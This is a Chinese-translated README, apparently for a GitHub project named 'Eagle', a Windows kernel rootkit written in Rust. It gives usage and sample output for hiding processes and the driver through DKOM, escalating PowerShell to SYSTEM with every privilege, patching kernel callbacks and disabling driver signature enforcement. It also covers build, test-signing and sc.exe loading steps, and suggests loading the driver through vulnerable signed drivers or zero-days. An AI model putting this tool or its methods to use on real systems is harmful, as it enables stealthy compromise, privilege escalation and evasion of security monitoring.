rootkit-rs:基于Rust开发的Windows内核Rootkit,支持进程/驱动隐藏与权限提升

Rusty Rootkit - Windows Kernel Rookit in Rust (Codename: Eagle)

分支1Tags0
文件最后提交记录最后更新时间
4 年前
4 年前
3 年前
3 年前
4 年前
3 年前
3 年前
4 年前
4 年前
3 年前
3 年前

Rust 中的 Windows 内核木马(代号:鹰)

博客地址:https://memn0ps.github.io/rusty-windows-kernel-rootkit/

功能特性(开发中)

  • 进程保护与取消保护(完成)
  • 升级权限至 NT AUTHORITY\SYSTEM,并启用所有令牌特权(完成)
  • 隐藏进程(完成)
  • 隐藏驱动程序(完成)
  • 列举加载的内核模块(完成)
  • 列举及移除内核回调
    • PsSetCreateProcessNotifyRoutine(完成)
    • PsSetCreateThreadNotifyRoutine(待做)
    • PsSetLoadImageNotifyRoutine(待做)
    • CmRegisterCallbackEx(待做)
    • ObRegisterCallbacks(待做)
  • 启用/禁用驱动签名强制执行(DSE)(完成)

使用方法

PS C:\Users\memn0ps\Desktop> .\client.exe -h
client 0.1.0
用途:
    client.exe <子命令>
选项:
    -h, --help       打印帮助信息
    -V, --version    打印版本信息
子命令:
    callbacks
    driver
    dse
    help         打印此消息或给定子命令的帮助信息
    process
client.exe process
用途:
    client.exe process --name <进程名> [--protect | --unprotect | --elevate | --hide]
选项:
    -e, --elevate           提升所有令牌特权
    -h, --help              打印帮助信息
    --hide              使用直接内核对象操作(DKOM)隐藏进程
    -n, --name <进程名>    目标进程名称
    -p, --protect           保护一个进程
    -u, --unprotect         取消保护一个进程
PS C:\Users\memn0ps\Desktop> .\client.exe callbacks -h
用途:
    client.exe callbacks [--enumerate | --patch <补丁>]
选项:
    -e, --enumerate        列举内核回调
    -h, --help             打印帮助信息
    -p, --patch <补丁>    补丁内核回调0-63
PS C:\Users\memn0ps\Desktop> .\client.exe dse -h
用途:
    client.exe dse [--enable | --disable]
选项:
    -d, --disable    禁用驱动签名强制执行(DSE)
    -e, --enable     启用驱动签名强制执行(DSE)
    -h, --help       打印帮助信息
PS C:\Users\memn0ps\Desktop> .\client.exe driver -h
用途:
    client.exe driver [--hide | --enumerate]
选项:
    -e, --enumerate    列举加载的内核模块
    -h, --help         打印帮助信息
    --hide         使用直接内核对象操作(DKOM)隐藏驱动程序

列举和修补内核回调

PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --enumerate
总内核回调数:11
[0] 0xffffbd8d3d2502df ("ntoskrnl.exe")
...
[10] 0xffffbd8d43afb63f ("Eagle.sys")
PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --patch 10
[+] 回调成功修补于索引10

再次列举时,可以看到回调数量减少。

保护/取消保护进程

PS C:\Users\memn0ps\Desktop> .\client.exe process --name notepad.exe --protect
[+] 进程成功保护 2104

(此处应附上“notepad_protect.png”图示)

PS C:\Users\memn0ps\Desktop> .\client.exe process --name notepad.exe --unprotect
[+] 进程成功取消保护 2104

(此处应附上“notepad_unprotect.png”图示)

升级到 NT AUTHORITY\SYSTEM 并启用所有令牌特权

运行whoami /all前后的结果对比显示用户原本的详细信息,随后通过客户端提升 PowerShell 进程的权限,实现特权升级。

PS C:\Users\memn0ps\Desktop> .\client.exe process --name powershell.exe --elevate
[+] 权限令牌成功升级 6376

这个工具展示了一系列高级内核级别的操作能力,用于教育目的和系统安全研究,务必在受控环境中使用。

在用户目录桌面上运行命令:

# 显示当前用户的详细信息
PS C:\Users\memn0ps\Desktop> whoami /all

## 用户信息
-----------------

用户名               安全标识符(SID)
================== ========
nt authority\system S-1-5-18

## 组信息
-----------------

组名                               类型             SID            属性
====================================== ================ ============ ==================================================
内置\管理员s                       别名             S-1-5-32-544   默认启用,启用的组,组所有者
所有人                              已知组           S-1-1-0        强制性组,默认启用,启用的组
NT AUTHORITY\已验证的用户s        已知组           S-1-5-11       强制性组,默认启用,启用的组
强制标签\系统强制级别标签           强制标签         S-1-16-16384

## 特权信息
-----------------

特权名称                            描述                                                      状态
========================================= ================================================================== =======
创建令牌特权                       创建令牌对象                                            启用
分配主要令牌特权                    替换进程级令牌                                          启用
锁定内存特权                        锁定页面在内存中                                           启用
增加配额权限                        调整进程的内存配额                                       启用
TCB特权                             作为操作系统的一部分工作                                 启用
安全权限                            管理审核和安全日志                                       启用
取得所有权权限                      获取文件或其他对象的所有权                               启用
加载驱动程序特权                     加载和卸载设备驱动程序                                   启用
系统配置权限                        性能分析系统性能                                         启用
系统时间权限                        更改系统时间                                             启用
单个过程配置权限                    配置单个进程                                           启用
增加基本优先级权限                    增加调度优先级                                           启用
创建交换文件权限                     创建交换文件                                             启用
创建永久性权限                       创建永久共享对象                                        启用
备份权限                            备份文件和目录                                          启用
恢复权限                            恢复文件和目录                                          启用
关机权限                            关闭系统                                               启用
调试权限                            调试程序                                                   启用
审核权限                            生成安全性审核                                             启用
系统环境权限                        修改固件环境值                                          启用
更改通知权限                        跳过遍历检查                                             启用
解除坞站权限                        从坞站移除计算机                                        启用
管理卷权限                          执行卷维护任务                                           启用
模拟权限                            认证后代表客户端操作                                    启用
创建全局权限                       创建全局对象                                              启用
受信任的credman访问权限            以受信任的调用者身份访问凭据管理器                       启用
重新标记权限                        修改对象标签                                             启用
增加工作集大小权限                    增加进程的工作集                                         启用
时区权限                            改变时区                                                 启用
创建符号链接权限                     创建符号链接                                             启用
委托会话用户模拟权限                在同一会话内为另一用户获取模拟令牌                       启用

PS C:\Users\memn0ps\Desktop>

以下是关于启用和禁用驱动程序签名执行(DSE)以及隐藏进程和驱动程序的示例。

开启驱动程序签名执行(DSE)

PS C:\Users\memn0ps\Desktop> .\client.exe dse --enable
返回字节数:16
[+] 驱动程序签名执行(DSE)已开启:0x6
0: kd> db 0xfffff8005a6683b8 L1
fffff800`5a6683b8  06 

关闭驱动程序签名执行(DSE)

PS C:\Users\memn0ps\Desktop> .\client.exe dse --disable
返回字节数:16
[+] 驱动程序签名执行(DSE)已关闭:0xe
0: kd> db 0xfffff8005a6683b8 L1
fffff800`5a6683b8  0e

隐藏进程

CMD隐藏进程1

PS C:\Users\memn0ps\Desktop> .\client.exe process --name powershell.exe --hide
[+] 进程成功隐藏:6376

CMD隐藏进程2

隐藏驱动

从 ZwQuerySystemInformation 和 PsLoadedModuleList 中隐藏

PS C:\Users\memn0ps\Desktop> .\client.exe driver --enumerate
总模块数:185
[0] 0xfffff80058c00000 "ntoskrnl.exe"
[1] 0xfffff80054d20000 "hal.dll"
<...省略...>
[180] 0xfffff80054600000 "KERNEL32.dll"
[181] 0xfffff80054200000 "ntdll.dll"
[182] 0xfffff800553f0000 "KERNELBASE.dll"
[183] 0xfffff800556f0000 "MpKslDrv.sys"
[184] 0xfffff80055720000 "Eagle.sys"
[+] 已成功枚举加载的模块
PS C:\Users\memn0ps\Desktop> .\client.exe driver --hide
[+] 驱动程序已成功隐藏
PS C:\Users\memn0ps\Desktop> .\client.exe driver --enumerate
总模块数:184
[0] 0xfffff80058c00000 "ntoskrnl.exe"
[1] 0xfffff80054d20000 "hal.dll"
<...省略...>
[180] 0xfffff80054600000 "KERNEL32.dll"
[181] 0xfffff80054200000 "ntdll.dll"
[182] 0xfffff800553f0000 "KERNELBASE.dll"
[183] 0xfffff800556f0000 "MpKslDrv.sys"
[+] 已成功枚举加载的模块

安装 Rust

要开始使用 Rust,请访问 Rust 安装指南,然后下载安装程序并按照屏幕上的指示进行操作。如果提示您这样做,可能需要安装 Visual Studio 的 C++ 构建工具

更改 Rust 频道

安装并切换到 Rust 夜间版本

rustup toolchain install nightly
rustup default nightly

安装 cargo-make

安装 cargo-make

cargo install cargo-make

安装WDK/SDK

  1. 安装Visual Studio 2019
  2. 安装Windows 11 SDK(版本22000.1)
  3. 安装Windows 11 WDK

编译驱动程序

进入.\driver\目录并编译驱动程序。

cargo make sign

编译客户端

切换到.\client\目录并构建客户端。

cargo build

启用“测试模式”或“测试签名”模式

bcdedit /set testsigning on

[可选] 使用Windbg进行调试

bcdedit /debug on
bcdedit /dbgsettings net hostip:<IP地址> port:<端口>

创建/启动服务

你可以使用服务控制管理器(Service Control Manager)或OSR驱动加载器来加载你的驱动程序。

PS C:\Users\memn0ps> sc.exe create Eagle type=kernel binPath=C:\Windows\System32\Eagle.sys
[SC] CreateService 成功
PS C:\Users\memn0ps> sc.exe query Eagle

服务名称: Eagle
类型               : 1 内核驱动程序
状态              : 1 停止
WIN32退出代码    : 1077 (0x435)
服务退出代码      : 0 (0x0)
检查点            : 0x0
等待提示          : 0x0
PS C:\Users\memn0ps> sc.exe start Eagle

服务名称: Eagle
类型               : 1 内核驱动程序
状态              : 4 运行中
                        (可停止,不可暂停,忽略关机)
WIN32退出代码    : 0 (0x0)
服务退出代码      : 0 (0x0)
检查点            : 0x0
等待提示          : 0x0
进程ID           : 0
标志              :
PS C:\Users\memn0ps> sc.exe stop Eagle

服务名称: Eagle
类型               : 1 内核驱动程序
状态              : 1 已停止
WIN32退出代码    : 0 (0x0)
服务退出代码      : 0 (0x0)
检查点            : 0x0
等待提示          : 0x0

当前,此驱动程序不支持手动映射。然而,一种替代方法是利用已加载的签名驱动程序中的现有CVE漏洞(如Intel或Capcom驱动),尽管易受攻击的驱动程序很容易被EDRs或ACs标记。

或者,你可以获取由Microsoft提供的扩展验证(EV)代码签名证书,这需要通过一个审查流程,或使用零日漏洞,后者完全取决于个人选择。

注意

编写Windows内核驱动程序的更好方式是创建绑定,如以下参考资料所示。但使用他人的绑定会隐藏底层功能,因此我采用了经典的方法,除非你自己创建绑定。未来计划重构代码,但目前可能会有些杂乱和不完整。

本项目出于兴趣而创建,因为我对Rust和Windows内部架构非常感兴趣。显然,这还不是完美的成品。如果你希望学习更多关于Windows内核编程的知识,请参考下面的资料。编写安全、健壮的Windows内核驱动程序在Rust中的推荐方式如下:

参考资料与致谢

  • not-matthias的kernel-driver-with-rust博客(特别感谢@not_matthias)
  • 更多资源、书籍和个人项目链接,包括Windows内核编程、游戏逆向工程及社区贡献者,详细列表请参照原文。

项目介绍

Rusty Rootkit - Windows Kernel Rookit in Rust (Codename: Eagle)

定制我的领域